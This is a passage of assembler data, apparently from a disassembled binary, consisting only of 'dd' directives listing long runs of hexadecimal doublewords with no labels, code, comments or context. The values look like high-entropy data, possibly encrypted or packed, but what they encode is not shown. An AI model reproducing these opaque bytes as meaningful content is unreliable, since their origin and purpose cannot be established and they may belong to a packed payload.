		dd 3D875E60h, 0E96C19BAh, 0D8591B0Eh, 69965A7Ch, 0A5F464EFh
		dd 0B56CBA88h, 0AFF3409Bh, 8FC4D95h, 0FDD07E99h, 4FBD4C8Bh
		dd 82A3B977h, 574B39E9h, 92BE2E45h, 2850E366h, 413B05E3h
		dd 32BC7AABh, 960B5B48h, 0C76DD4Ch, 0EA295B04h,	0D73DCABAh
		dd 68BB20EBh, 0F1933DEBh, 659B2738h, 8DA43F77h,	0EC889497h
		dd 13ED2915h, 96729D96h, 53BB6808h, 4122ABDAh, 7890A9BDh
		dd 1C5D9736h, 80681694h, 0CF67B84Ah, 314C50EDh,	10CF5626h
		dd 0F72F7685h, 62B0DD14h, 0C0564FE9h, 0D5F71852h, 59856804h
		dd 2B816376h, 203EAB30h, 2D02405Ch, 8B3780CCh, 7AED809h
		dd 0E66CEEEDh, 0BC236F22h, 0ABE5B1CEh, 68ADF884h, 0EBAEFA9Fh
		dd 8CD025B3h, 0FE7B9695h, 1EA5E559h, 2D091EFFh,	0A9DC2D59h
		dd 25984B43h, 0DAD2BEEFh, 0B0742920h, 0B68640F7h, 0F6807D0Eh
		dd 5AF405A7h, 8D2316FBh, 517EA686h, 96BEC008h, 5EB804CBh
		dd 96CC129h, 2BC2C580h,	491336B8h, 4E36A945h, 0FA5FF5F8h
		dd 0C72B5A7Dh, 5640050Bh, 833324B1h, 14010D90h,	0AD0FD3BEh
		dd 41FC8119h, 0F8B65A03h
		dd 6E900071h, 61E96485h, 65109D31h, 531FE589h, 5A6D81BEh
		dd 98017630h, 5FA0BD04h, 0DDC1D9F5h, 39A0E65Eh,	98654E6Eh
		dd 4B4E9E5Dh, 0B94A31F6h, 0CE23D31Fh, 2E3ECC3h,	0F1D7969Fh
		dd 39BF2EF4h, 0E90789D4h, 1071D856h, 65496668h,	415F94B0h
		dd 0C6699649h, 0F0842DCEh, 36C1F713h, 0E13B898Ah, 2FF37941h
		dd 2680945Fh, 8A3EB01h,	0B9049219h, 0A5C5573Bh,	0AC525FEBh
		dd 2574B0Bh, 69D77A4Eh,	5FB8B256h, 0C180D901h, 0F1C05BA2h
		dd 2E1CC06h, 0BB3CF1F4h, 64659851h, 9336B5D7h, 801F0CD1h
		dd 0CC00BF1Ah, 810E4107h, 4C2715E7h, 31178DF8h,	0FDBFF65h
		dd 3FD88E10h, 756E2780h, 0F4ACAE63h, 0C169076Ah, 6CE18543h
		dd 444030BBh, 2778AC32h, 19BD9BDh, 0C36F91C5h, 6A803B51h
		dd 9DEC26D9h, 2FD3F88h,	38777EC9h, 0A326E0F5h, 21D9176Ch
		dd 0E7D48109h, 91F13E08h, 2B4A98FFh, 5AD8987Ch,	0D985B5CCh
		dd 0AC4B7A40h, 2A3657E3h, 0CE38E93Ah, 2AE6474h,	780712A5h
		dd 0D0D84155h, 0E0260662h, 0A35B0963h, 55740830h, 0AB05080h
		dd 0FED0F683h, 7C1A09D4h, 8F4F2756h, 54814BF1h,	28156A4Eh
		dd 424F2DCDh, 39E492D8h, 263EE4B7h, 40319BD5h, 73B50F30h
		dd 0AE0220BFh, 17B1A87Dh, 0EF5EF131h, 98E92428h, 0D94FAA49h
		dd 0AECA64D4h, 6D68D242h, 89DD710Ch, 707773B2h,	5BF914D9h
		dd 0AE10EF5Ah, 0D76825EFh, 0B45B6189h, 9FC7702Dh, 59EB6F5Ch
		dd 196F67DFh, 2500CD64h, 534730FCh, 203E8C1h, 0C8FB3548h
		dd 0CC766F17h, 85CF010Bh, 0D240805Eh, 22687E2h,	25F2EC42h
		dd 9152760Bh, 8ECF9495h, 1EE91509h, 264CE2AEh, 12DF312Ch
		dd 0E21F0956h, 0C6F73162h, 0BCC64FDDh, 52EED39Ah, 75C605A6h
		dd 0A7A4FC03h, 7CBB67C2h, 3E578331h, 0EBC828C1h, 78095502h
		dd 0DFA97FE9h, 0DC975D9Ch, 36544B77h, 0CA1EFD25h, 3FAC4EB3h
		dd 4F5A0E31h, 87EB076Ah, 0F7D621F3h, 1008B4D2h,	5FAE7885h
		dd 66F4C284h, 545B219Fh, 718A8C09h, 0B8A96F94h,	0F200A55Ah
		dd 26A71A6Fh, 0BF5AD731h, 0AEEDB3A0h, 66982378h, 6BC0FC71h
		dd 1D4002F7h, 0C9BB87Ch, 34327FC1h, 0D60C0718h,	4001DFE8h
		dd 0D4B37D68h, 0B34F006Dh, 0D48B9F7Bh, 0D259A043h, 0C43D6368h
		dd 13365B35h, 15392C0Ch, 97ACB2D5h, 0A95C9AA2h,	0EBA55C5Fh
		dd 0F38C1853h, 7F1BD3Eh, 627F64D9h, 17DE5AF7h, 0DFBB47Bh
		dd 89BF26F6h, 81207488h, 0D3E9CB01h, 379724DDh,	5D970570h
		dd 5C03723Eh, 0FE58B551h, 0A5A636C5h, 0F8091C81h, 89167340h
		dd 0B3AB5555h, 0AE6293D5h, 33E91624h, 648AEAC0h, 19F15F7Dh
		dd 2FDD2CE3h, 902914D8h, 863EC982h, 0AE02AFF1h,	0D8311640h
		dd 8EA50D9h, 9FE92D5Fh,	0C5DD986Ah, 0D47CAD69h,	76F0D249h
		dd 41DE95CBh, 5D0801CBh, 0B67AF829h, 3C409753h,	4F34745Eh
		dd 5F80A15Dh, 57960FBFh, 97ED2320h, 0EBC0E309h,	703E0906h
		dd 5D54048Eh, 0EA4D6851h, 957A1FD1h, 91CEAD53h,	4660287Bh
		dd 7F7D1CEEh, 2D51A4FCh, 1EA8257h, 97E60F7h, 0CA79973Eh
		dd 71AC4EBAh, 419A1C62h, 0BBC2FE03h, 168BE68h, 5A66D708h
		dd 0BF03C780h, 73691838h, 0F107EEA5h, 83909C9h,	0DD12DE39h
		dd 5F27BCBEh, 0E887D4BDh, 79D70936h, 3D9EC219h,	0D047AB51h
		dd 98D10CD4h, 262575Bh,	34C1BDC0h, 51795523h, 4EEE0C98h
		dd 0B2C314B5h, 545004D5h, 0CB8FE4E9h, 3FE04144h, 0FA938FF3h
		dd 46970A2Dh, 7F07C930h, 30731ACAh, 0C2660D32h,	3A245B1Fh
		dd 7800422Fh, 29248239h, 81CD0CAh, 28141C68h, 0CB024E3Bh
		dd 26DD582Ch, 6E407D68h, 3ED8FA24h, 0E92DF29h, 9682B82Ah
		dd 8CC653EFh, 6C4A317Fh, 0E91E38EBh, 92EC772Dh,	0B678F7CDh
		dd 0E03CD120h, 4B0490C7h, 85E8E273h, 22C3F830h,	0C79B02CEh
		dd 15C6097Ah, 66713060h, 82320B26h, 7B3DC002h, 0F4A15546h
		dd 0E264E3F1h, 0DF02BF74h, 0F077740Ah, 0F8312D1Ch, 5617DA6Ch
		dd 0C558C689h, 5F2FE987h, 0F79A8C1Bh, 0F539280Fh, 6A70C449h
		dd 0E0B7C9ABh, 719D7203h, 10F62CDDh, 13DA4893h,	712C156Ah
		dd 86EA24E9h, 326C4070h, 1341F91h, 818E6C7h, 241B10Ch
		dd 685835C0h, 0AAA21DC3h, 9877715Fh, 0B660331Bh, 0BF8549B3h
		dd 5D6590E5h, 560E7C1h,	2252784Ch, 0DA7A9D0Dh, 7B2B4713h
		dd 54E99A03h, 0D8A90042h, 54F355Bh, 2D057D1Bh, 5A340EDFh
		dd 5D712182h, 1880F267h, 4016D143h, 231C1605h, 0E0ED0070h
		dd 241D2507h, 5237C602h, 0DFAB8DE9h, 0CE034579h, 0E97CF10Dh
		dd 0AD7F9CC3h, 0C8FF97E7h, 6230E998h, 84CB8166h, 0CFD85827h
		dd 17D4E303h, 0C3E02673h, 1C0B4A8Fh, 7DD091Ah, 0D5096B86h
		dd 0E9E155DBh, 4F7B7FF9h, 0FF0951A3h, 0DB2D69D4h, 0BDD42ABBh
		dd 20E9D5E0h, 0D6BDC64Fh, 0BF830CD6h, 2EB06860h, 0BD0417B2h
		dd 6B2A1A6Dh, 7321D3C1h, 4817930h, 0DD0E10C5h, 5FA8AE7Ch
		dd 0E0E90840h, 2DD8B244h, 29D1514Fh, 0AC2CF582h, 5E4C624Ch
		dd 0FE742546h, 0CC68218Bh, 8184F089h, 24EF2F5Bh, 0B1FCBBFEh
		dd 0A93B0BC5h, 856216FBh, 0B6600AD1h, 0E6A7F105h, 18E142F5h
		dd 516ED77h, 68777A4Ch,	0E9A243D1h, 772CD2F8h, 0CA397188h
		dd 70A92782h, 1E053A2Dh, 2C3392h, 0CA250212h, 5500E20Bh
		dd 149FF535h, 98C731B2h, 7809514h, 0F1868AB1h, 8D6F635h
		dd 6DE86BAh, 0C6FF89Dh,	0C5F4E946h, 0D3955C76h,	0FDED1233h
		dd 3E0C6167h, 0FFE21873h, 49BAB160h, 835099B4h,	1FFB9F86h
		dd 0A30192BDh, 16963FF3h, 0EC4A528Ah, 7A84A5A8h, 668D98EFh
		dd 25B53B16h, 56D048E1h, 7B6F1E5Ch, 0D832C62Dh,	40E1A76h
		dd 0B9D3B35h, 916C7025h, 48920D38h, 0C992F6Ch, 67DE887Ch
		dd 94D5BB60h, 29C17782h, 0B73ED8F6h, 5EFC9964h,	92531FABh
		dd 2B2CBADFh, 2C9EFC27h, 8D0316Dh, 0D125EA30h, 126865F3h
		dd 560730A3h, 8E9255E9h, 0E8EFC02Ch, 24589308h,	2D3E24C2h
		dd 599FA6DAh, 0F3D7E9A5h, 4B77A84Eh, 2DD0A35Ch,	5DAEC210h
		dd 8AE32633h, 7D9018C6h, 0F468070Ch, 481A1B11h,	68A0EB0Dh
		dd 21C421D2h, 54B40629h, 91089582h, 0FE755AE9h,	58C14C4Bh
		dd 4994C8BDh, 0ADF58B0Fh, 55F3C4E0h, 0B301BF12h, 991F19C0h
		dd 10AFF16Eh, 6CD9EED1h, 0C6ECAE7Ch, 9655A009h,	68F08519h
		dd 3BC940BCh, 0FE5D0125h, 60375398h, 56BB6C28h,	40EF3043h
		dd 0C83E348Dh, 0A10C5A60h, 72D9F38Fh, 2DC99089h, 0B0D1195Fh
		dd 26F07688h, 814B1EABh, 5E51CDB7h, 0E9906059h,	3EE16A7Bh
		dd 0B19875AEh, 0B2B97B1Eh, 4E7DFF1h, 5ABD8D02h,	5A0077F2h
		dd 588A3548h, 102B8537h, 4B48B576h, 2AF6F968h, 0C0038297h
		dd 0F58002E5h, 0C174D942h, 598BF172h, 823E9CFFh, 68645D80h
		dd 55B88B25h, 85204B4Eh, 457BC38h, 0FBE32815h, 0E98FE2B2h
		dd 551A6E09h, 6690565Dh, 53764762h, 0B9BF2634h,	410D0AEAh
		dd 9FB1A0D2h, 552F35F6h, 94609A9Ah, 92BDD412h, 0A36E410Dh
		dd 0F3F72103h, 0F65E46B3h, 2FE9BF3Ch, 44EE1DEFh, 0AA4E4EF6h
		dd 45FE3FF4h, 0B214499h, 327582B0h, 2B8B5783h, 10A1F446h
		dd 0F6B73E42h, 11B25200h, 3DE9D488h, 3F203341h,	0F45F4EBBh
		dd 1F6FBEF1h, 80EB370Ch, 98735BF1h, 0A276C7Eh, 84C4F387h
		dd 0BE21D968h, 2D249E8Eh, 295B8505h, 665FC3DAh,	49975F8Dh
		dd 0E54478CCh, 0EB2D6498h, 5119F68Ch, 16132EDDh, 5893B3EAh
		dd 684EC9D1h, 1327CF1Eh, 1228F33h, 0E039D25Dh, 0D10C867Dh
		dd 919C828h, 61920988h
		dd 0B921157Ch, 2E3CC008h, 0E2F2273Eh, 55F1E897h, 1699DBDh
		dd 51E9F801h, 8990C892h, 72B6D49Dh, 64D35657h, 5395B01Dh
		dd 252EF09Fh, 4CC44A44h, 0D52B9B0Ch, 0B559D005h, 0D6CBBE51h
		dd 0A16E5A16h, 7F5CC101h, 0F10167DEh, 817DF44h,	688891BFh
		dd 4A2C3C76h, 0C5438ABAh, 0B404EF83h, 0AC0F84B5h, 1505F9ABh
		dd 0E765FB6Dh, 0F5AC01EFh, 704807A1h, 0EA4AE9A2h, 44EFBA16h
		dd 13E839D0h, 0EB819540h, 507B22F7h, 2425B204h,	0CC7694Ah
		dd 68E13EB3h, 0CFC4D44Eh, 0E4A45BB9h, 3B5A0312h, 0E94EF5B3h
		dd 0AD2E5004h, 0A0EEC180h, 0BDFC47B3h, 1DD36248h, 572A7400h
		dd 0BC4603BFh, 4B7C97B4h, 0B6AD3159h, 89A90D8h,	0FCF52927h
		dd 32FFC91Eh, 0D57A862Bh, 0EEC64F95h, 0CB606212h, 972CA068h
		dd 0FD9E599Bh, 801ACBE0h, 40063DEBh, 82E2F358h,	78070474h
		dd 2B32CF6h, 0A3BA842Ah, 0CD891370h, 0E9EBB003h, 0E8ED5FBDh
		dd 0D3F2B741h, 60E0465Fh, 14871681h, 8B52D67h, 622807BAh
		dd 2F681240h, 5F985544h, 0E7C7DBC8h, 0AA0392F6h, 3EB4D94Fh
		dd 0F17D4D29h, 5EA8E82Ah, 89845EE3h, 1A025305h,	0E0762802h
		dd 7AD7CDE2h, 7ABCB0B8h, 7AB41D12h, 82A9A801h, 8B797408h
		dd 59C44083h, 0D4B15116h, 0A2002BA1h, 419BE9D2h, 9B093A7Eh
		dd 421D5666h, 0FA96FA01h, 6F505Ch, 25186544h, 49B2E94Bh
		dd 0EF132675h, 5C140103h, 2E0859C4h, 0F96E8544h, 2307B80Eh
		dd 0DA442FBFh, 0A182AC98h, 0B5CFD11h, 0BF019245h, 0A0560C76h
		dd 2F3E769Dh, 2FF7148Fh, 0EC8B9D8Bh, 9A1AD6BEh,	87D60DD0h
		dd 259DF608h, 0C40B607Dh, 6C958E6Fh, 7CE9138Dh,	0FEEA9D8h
		dd 4475C3CDh, 0CD8D22D6h, 0E43AF2E1h, 7F45387Eh, 0F0883740h
		dd 2CC874FEh, 9DA58C6h,	0A77F71B0h, 8BB08051h, 4E5DE951h
		dd 10CCA348h, 800E3A94h, 0E166B8C1h, 6C10C3Ch, 0CA307EF1h
		dd 0F5EAED40h, 5AD42808h, 241264F9h, 4F408201h,	11708FFAh
		dd 0F09FC025h, 48D69074h, 602001C8h, 3FBEBF00h,	0DF314EE7h
		dd 9A6905Bh, 29271530h,	0F9705D00h, 649840C2h, 40BCCAEEh
		dd 0C8BBED96h, 741688C8h, 50FB5F6Dh, 0E90D08B7h, 3E32371Fh
		dd 175A5F7Ch, 0FC1C4F09h, 5657B226h, 9E39581Ch,	89E1A9B7h
		dd 84497701h, 0B8ED242Dh, 0A7439000h, 13BC0D2Ah, 322F7FCFh
		dd 0C6C5490Eh, 7E8ECBFDh, 0C9B77977h, 5564B93Ah, 472DB580h
		dd 3D6E1304h, 8C80D001h, 0F61751h, 3E3815Eh, 0F7115902h
		dd 6EDD34Ch, 3D522C44h,	3890090Ch, 0A0776951h, 7AAC71B0h
		dd 0E6709F86h, 0EBBFF8F2h, 0DDBCC214h, 0D7F72818h, 0CB3E477Ch
		dd 84B67DF5h, 0EED1DB65h, 37DD39B1h, 7148DC28h,	944EB34Fh
		dd 6CB10495h, 62EB12AEh, 99563A8Ch, 534875C2h, 4EFAA5A0h
		dd 772BCE34h, 25E2C2ABh, 532E4D40h, 2008B31Eh, 521088E6h
		dd 0C72DD04Ch, 0A120D472h, 57533B66h, 0BAEBD6FDh, 0F9FCFC2Dh
		dd 8168B747h, 98975450h, 9FDD1DA8h, 0DDE9CB54h,	0C1FDA5E2h
		dd 137B8628h, 0E28EFF80h, 0BA5F0120h, 5D599DC2h, 963F8FC5h
		dd 0CEFE8E9Ch, 0D0EF4BA9h, 0A57C38B3h, 47D1515Ah, 0CDD843F4h
		dd 152C489h, 202C88F0h,	2B42A34Bh, 419D7960h, 8AF4C688h
		dd 0F3298037h, 7A94D5EEh, 12BA5B13h, 0E9842C02h, 0E1C05E7Ch
		dd 182C95EFh, 0E1314C7Eh, 0A13F0CE4h, 0A709B965h, 0F2018E65h
		dd 1DC97319h, 0BD74E532h, 4736397Bh, 1A060C63h,	157E81FDh
		dd 2EBDBB39h, 588B632Bh, 0FEBFEE55h, 0F1F2DF56h, 2BBFF5B8h
		dd 15093A1Fh, 75DD3010h, 88C29481h, 53262FBAh, 9E060919h
		dd 0CC1DFF2Fh, 0F8BB0677h, 852320E1h, 0DD95CDF0h, 2B0CA7A9h
		dd 6EB1A946h, 4837D309h, 1F798BA7h, 16437D11h, 0ACCA573Eh
		dd 30E9AC25h, 0E21D2025h, 2F3B6B36h, 30F2002Bh,	0E93FA432h
		dd 0FAA15F85h, 9D01DF64h, 0D9D6560h, 895507Bh, 0AB9B914Bh
		dd 14D97F42h, 0B5F7A87Fh, 568200FAh, 4BBA6850h,	58678C00h
		dd 461BD35h, 4D57984Dh,	97110D4Ah, 1DDF1637h, 0BE92E6A3h
		dd 7EC2D03Dh, 0D97195BAh, 0BAC20112h, 0BE80ECB3h, 2BAC4727h
		dd 0FA08609Dh, 68132D62h, 858871D6h, 0B7530039h, 6E7C0FBh
		dd 0C5F78017h, 0E9A5C0D0h, 6BF36536h, 924A87D0h, 0C55C43B9h
		dd 0B5519C80h, 0EC58005h, 0FED5F60Eh, 2EDDEBDh,	0D9E9E830h
		dd 0B50C74DCh, 0F9F33262h, 40E366FAh, 0EF8BA5Dh, 1672C73Dh
		dd 72ADD4A3h, 7F659904h, 0FBCEB74h, 4E5B0840h, 0C79EE956h
		dd 0ED2BC668h, 597CAD96h, 0F4040CC4h, 7BDDA732h, 4BC27D71h
		dd 0DD315EF7h, 8BF3AB82h, 0DFE01ADFh, 7C26D8F1h, 88044E3Fh
		dd 1212CED6h, 0F9570158h, 89306829h, 0C846531Ch, 81E77DE8h
		dd 504D2C5Ah, 0E64E0C8Ah, 8101E4A7h, 0FB64E5CBh, 9F0C8272h
		dd 402EED03h, 4C7FAC9Ch, 0F30411B3h, 0EBEEC47Dh, 4061459Ch
		dd 0BBE5EFAh, 0C53C282h, 6741DD25h, 0B1B474DFh,	25518758h
		dd 489AB210h, 998A94E8h, 1EC44CB4h, 556B8997h, 0C5BD1A1Ch
		dd 0A1201245h, 98436ACFh, 927982EBh, 0A07AF464h, 0B80CC308h
		dd 58C0F25Bh, 694D5268h, 0C2668B4Eh, 0D922DE66h, 9F2D9333h
		dd 0BF5749C1h, 7BE9AC6Eh, 4D310726h, 502477ADh,	0BACFA02Eh
		dd 20701ECh, 6FDE2D62h,	0D0295400h, 5A07A005h, 3EE42C68h
		dd 11006FCAh, 594CF62Ah, 35FDE912h, 0B44F31ABh,	0D0412B7Bh
		dd 6C3832F1h, 0B0011560h, 0FC6301AFh, 5CE9110Fh, 0D11635B0h
		dd 0AE795474h, 65DF92F2h, 2FA9E57Fh, 0AC9DEB45h, 0EF667F65h
		dd 2256C118h, 80650B9Ch, 5C2493B8h, 0AA355519h,	0E37344AEh
		dd 80DBD44Bh, 0BB317CA2h, 1B2D1602h, 0DD052F22h, 565832CEh
		dd 8BEB4EADh, 145A42B6h, 2CAD9F7h, 8EFBD426h, 85765C31h
		dd 40C8F2E9h, 405FF8CFh, 512CAA05h, 0EC0B7572h,	0BD30D58Ah
		dd 0FBB85801h, 0C6A4F895h, 25EA3EC0h, 7D5BDF2Fh, 772084A0h
		dd 312F6745h, 0B4E4C6D7h, 4EEBCFB1h, 7D6DC520h,	589D1647h
		dd 4581B5BAh, 44EB3DE9h, 29E4EA2Fh, 20A9905Eh, 681340AAh
		dd 0BCE612CCh, 14655127h, 7D47C089h, 1456EB6Eh,	0E9E604A8h
		dd 19D74EE5h, 981C9F62h, 1F8168F0h, 492A7661h, 9D543B5Dh
		dd 0F1173360h, 0E540B52Eh, 5812082Dh, 7EB8471Ch, 31C78817h
		dd 2F5556D5h, 0E95D9B30h, 0C0209DB8h, 501087EEh, 8D5A4A7Bh
		dd 0CA224818h, 7AF58282h, 0FAF32090h, 8D988FB2h, 1879572Dh
		dd 676EC1Bh, 0EAC11815h, 634A5004h, 57468140h, 63BF3CE8h
		dd 0EF290B4Ah, 0CFF86A16h, 1C04ADB4h, 121B2C12h, 0E0A09D8h
		dd 5EA00BCEh, 459D739Ah, 5571AD7Bh, 577FE9E1h, 0FB5B1697h
		dd 7CC93C03h, 0F208E3C0h, 9510D8A2h, 7998BA96h,	53515905h
		dd 94EFB2B3h, 75ED860Eh, 3779E92Ch, 374057A7h, 21952D73h
		dd 1378D504h, 6E8E2688h, 0B3E2BB17h, 17C58A7Fh,	0E11260ADh
		dd 57510906h, 4A755F59h, 9FCC6157h, 46D29CE3h, 9D7C5801h
		dd 17B6C67Ah, 0D65389CEh, 0E316730Eh, 9C013E9h,	976D3168h
		dd 38F4710h, 0B49510BDh, 667ECD97h, 5720C2E7h, 170CBB53h
		dd 47374E42h, 9B5F1751h, 7AD50729h, 6E8E4936h, 2D22B87Ch
		dd 0A6D32D4Ch, 53F091E4h, 3DD5ED55h, 86835F02h,	3F25C1E0h
		dd 11F809CBh, 1E2C3EF6h, 0F8C4FE4Dh, 6F0C1355h,	4D2C3D52h
		dd 66815C6Bh, 7F780A68h, 4B822DC8h, 44D8AFD2h, 0EAA85E0Bh
		dd 7F67521h, 95BD306Eh,	187DE338h, 3A2BF528h, 9FCC0520h
		dd 0B308AAD3h, 6BD4274Fh, 0EA13812Dh, 9A31B530h, 826EC430h
		dd 78E3007Dh, 980BF018h
		dd 0ED6B4DDh, 0D64DF231h, 56E06B08h, 687709C2h,	35B0D529h
		dd 5DF6EDD1h, 0F7957A70h, 1E9A9296h, 43749309h,	886BDE58h
		dd 7227B9BBh, 0BF027004h, 4897C2EEh, 0F13A9FBEh, 8221476Fh
		dd 0ED01F609h, 2BC042B5h, 0E18BF10Ch, 6A38BFE9h, 4D720897h
		dd 3DD455B4h, 84566363h, 0E2B2B9BFh, 5A81FE5Ch,	0E7DD880Bh
		dd 9E98BF7h, 96DF28ABh,	5E9697A8h, 0C105395h, 0CE171026h
		dd 3C7BBD0Bh, 0E32C2B4Dh, 64F9D8DEh, 786F769Dh,	930C13F6h
		dd 2B2BA137h, 1CF13BA4h, 7C10660Eh, 37068C17h, 7EF2E035h
		dd 15071D59h, 0B951E2D1h, 1F581210h, 0D3BC35E9h, 569BBFBAh
		dd 9FD4EA4Eh, 0E51AEE1Fh, 0FE80D59Ah, 0A368563Eh, 95F17897h
		dd 0FD506A54h, 0D47FB244h, 0A1405A5Bh, 0D1873D5Ah, 60155F92h
		dd 0D8130583h, 0E18900B7h, 0C111FC37h, 6C06F10Ch, 61EF6026h
		dd 62D33802h, 0F93CBEE9h, 2896AE6h, 0D3F1E48h, 90C6A57h
		dd 0B79A1608h, 0F7634BF6h, 0DEEF2874h, 0E78004B9h, 4319E33h
		dd 13FB07E9h, 3271BFADh, 0DB636E84h, 0FD2B1E55h, 4EED235h
		dd 0F5C437EAh, 4DEC6AA5h, 871F257Bh, 0F24B3BD7h, 8EDBDE73h
		dd 0F852EE87h, 0CAAB96E1h, 501B276Ah, 1CFD958Ch, 0E9FA95A4h
		dd 1C38C897h, 9065956Ah, 4D608420h, 3B2D0D18h, 76437985h
		dd 84BD05D8h, 0EB01A402h, 5F2E9E96h, 0EE9ADD7Bh, 7E2B9274h
		dd 32B4B980h, 0A02902D8h, 80A03C85h, 0EA9FC888h, 84795D7Bh
		dd 0BDF4E370h, 68175844h, 7DF95983h, 8E0B67DFh,	97DE3C7Fh
		dd 7182ED0Fh, 1D175D1h,	772D5E13h, 8735AA3Ch, 0F9C1EA7Dh
		dd 0FBE8F234h, 5B7CBDBEh, 0F109D4A4h, 6E7F2276h, 9A89D134h
		dd 0F35511BBh, 0D421C59Fh, 0C57EE694h, 12F076E9h, 0CAA00BBEh
		dd 5AFE3329h, 6CF8A539h, 36D22DD5h, 14A57B51h, 95C620CAh
		dd 0F7F9A2A0h, 7BFD573Bh, 0FA11220Eh, 88FE2B01h, 0E90608FEh
		dd 58324D9Fh, 0AE4E3F5Fh, 0E9177DCEh, 85FBE9FEh, 9852620Bh
		dd 9B1C10AAh, 0BBD05876h, 0EFE6845Ah, 411FFA7Ch, 53003FC0h
		dd 3CDC4758h, 5FC2FA42h, 0E5D1F962h, 107ED0BCh,	641EF26Eh
		dd 680282FCh, 907E368Ah, 5E56166Eh, 0A20877CDh,	5FDEB852h
		dd 6F068A95h, 0D353C40Ch, 5D1BB2B9h, 0C5D7FAC1h, 5FE39333h
		dd 14F18A01h, 0CF2152C8h, 0E8645592h, 28EA4AF9h, 0D52A68F5h
		dd 192FAC74h, 8B38776Eh, 7697DF20h, 0E69FC88Dh,	0D6B5616Ch
		dd 0A6C83Ah, 12ED396Ah,	79CAAE9h, 0B6A15012h, 5BEAB43Eh
		dd 0A8550AFCh, 9E916A32h, 680087D1h, 0A5C64321h, 0D46DCA3Dh
		dd 137AB827h, 0D0C6825h, 3E0D39B3h, 1E81E3E1h, 4E2D1E62h
		dd 40F664D1h, 63A5C30Fh, 2E48E9h, 6C11CFBEh, 501C4654h
		dd 7809EBB8h, 7891FF72h, 70C8905h, 7AD08448h, 0BD2A4BB6h
		dd 28682DCCh, 6FF667C9h, 82042F29h, 4C5963D2h, 7DE79F46h
		dd 116D6884h, 883F19CDh, 0AB4BA0CCh, 0FE3B9345h, 2C0DB49h
		dd 0F4478A13h, 555143E5h, 46FDECD2h, 3DBDF22Ah,	77256D59h
		dd 605F6AD5h, 0F23F922h, 0DBE964DEh, 0D24332D6h, 45392277h
		dd 0C3290327h, 62B2620h, 0E5C0C5FEh, 7780604h, 0B450CD0Bh
		dd 9DE758FCh, 0EE43DFA4h, 7998C316h, 5A1873ADh,	841EA171h
		dd 86CC89Eh, 7CE34F81h,	57C4D03Ch, 0D4AB1348h, 0D4A284C5h
		dd 0D51C813Dh, 0EDE8CD5Ah, 7076A9Ah, 0DE27CB88h, 4C6AC792h
		dd 700225A8h, 4F6120C8h, 703B5F27h, 0B49B1F81h,	3BD82D52h
		dd 0C6F2892Eh, 96EA81C0h, 28DE252Eh, 0C251CD78h, 1992B08h
		dd 9DFCC546h, 0DD134474h, 8143C341h, 0C4C0A3E3h, 18CBEC30h
		dd 0CE182326h, 57953C79h, 0EE20F31Eh, 0EB42C0CEh, 37F79FE3h
		dd 9B4AF0F8h, 9F42028Dh, 0ECB7E4B4h, 1C3990EDh,	0A5EFB7F8h
		dd 2E2F6454h, 9459CBECh, 9C63F639h, 0CB872CE1h,	77D4AE80h
		dd 0AA9442D7h, 0E05EFF82h, 0DBC4770Ah, 0AC139720h, 0F8F55E2Fh
		dd 0BE272EC1h, 196C4A02h, 0F317417h, 0AA99CC0Ch, 6E2A9F45h
		dd 8520C609h, 0E2FA4C6Eh, 68560713h, 0DF0B2E1Ah, 772C7B4Dh
		dd 0F8293E16h, 17424820h, 0AC62CB76h, 0A2CA8059h, 2F021540h
		dd 0EA07B8E9h, 0B353B1FEh, 50E521B5h, 1B702579h, 0D4C2E24h
		dd 0DD1B901h, 9130264Bh, 0F582D7h, 78AA6C07h, 0ADF24529h
		dd 27395611h, 630C87CCh, 4E310243h, 4F0973A7h, 0D1DE8367h
		dd 4849429Fh, 6F8B71F7h, 0F8F22DEFh, 55F9D7CBh,	97345F28h
		dd 77491F7Ch, 2B2B2EC5h, 5AD1108h, 0FC34F868h, 1871C4A9h
		dd 90B6375Fh, 250F3FAEh, 0CFF85A5Bh, 0DC440E13h, 61BC3177h
		dd 79252D89h, 442269C2h, 0CA7471E9h, 85FB0516h,	728115B3h
		dd 2ADEFE4Bh, 4A0FE917h, 898BFFD5h, 5A2B5429h, 0BF135A4Dh
		dd 901EDB4h, 0ED03E9F9h, 7CD66C55h, 0CCAD255Eh,	0A83E7C48h
		dd 789006A0h, 22C15BCEh, 6CF57927h, 7B69A068h, 76651205h
		dd 5D994929h, 0BA58AE76h, 0F6BBB55Bh, 85DEDB48h, 5E1601B9h
		dd 5F442C05h, 3B26E846h, 30EA2547h, 0D6F77E48h,	5789FD82h
		dd 11510E86h, 5529B298h, 6942FD54h, 0D90102E0h,	82295061h
		dd 1C2FCDDDh, 0F32E6194h, 0D642206Bh, 7A4E6B73h, 802B5A5h
		dd 0CCE05D58h, 6F272A75h, 2450F07Ch, 0AD3B2CE8h, 6ADDE962h
		dd 5F00896Ah, 85C8E77Bh, 482AD1AFh, 0A16435Fh, 26E8BF84h
		dd 0ED8CDAC4h, 307C0116h, 0CB890A9Ah, 31E2286Ah, 0FE5BD92Dh
		dd 213F12E9h, 637A1181h, 68134BAh, 0B8C1C324h, 0D0362670h
		dd 1BB42579h, 9C030D53h, 0F110C00Ah, 1C9265BEh,	0F618015Bh
		dd 7A388478h, 80BA6D4h,	0E23C805Fh, 95D3A2E3h, 5D9D082h
		dd 45D79EA9h, 0EA7D27B1h, 0CB26C00Eh, 9212287Ch, 93AD5C2h
		dd 3100EA4Ah, 0DF40B4F2h, 8BFC9775h, 0BBE7E985h, 0C7056425h
		dd 0CCABE543h, 0D15EB679h, 119B78BAh, 32DD640h,	5426DC3h
		dd 0A9DC801h, 10AF5607h, 0CE81025Eh, 40CF1258h,	82ED6257h
		dd 5DBBA95Dh, 0A4118DAh, 0D6DFB752h, 0EE124CAAh, 0C1875964h
		dd 0E40FC8ABh, 6163BF6Fh, 3EA732F9h, 9D138B60h,	0B7952671h
		dd 0D0EA4EE5h, 0FC5ED98Ah, 2671658h, 99631DC2h,	0F3E56022h
		dd 399525C1h, 8F065262h, 0F90F7F6h, 0B7E40E20h,	1FF172C3h
		dd 74273A8Bh, 5A13784h,	0E639646Ah, 6F4A77F8h, 59848BE3h
		dd 25DCB5Bh, 9E1AB168h,	3BEC7570h, 4A26F705h, 0CD001219h
		dd 11ACED98h, 14F95331h, 7DFC440h, 4F21E78Dh, 0CB93821Ch
		dd 0A8CE271h, 4C09109Ah, 0A8B459DEh, 0ADCC4FF2h, 75BB0953h
		dd 537E9321h, 0A4F3C202h, 27D3F4A9h, 0EE816ADCh, 176C7A35h
		dd 0C2F2F500h, 0F3F0194Fh, 9E35BE9h, 668DAC32h,	19C26A91h
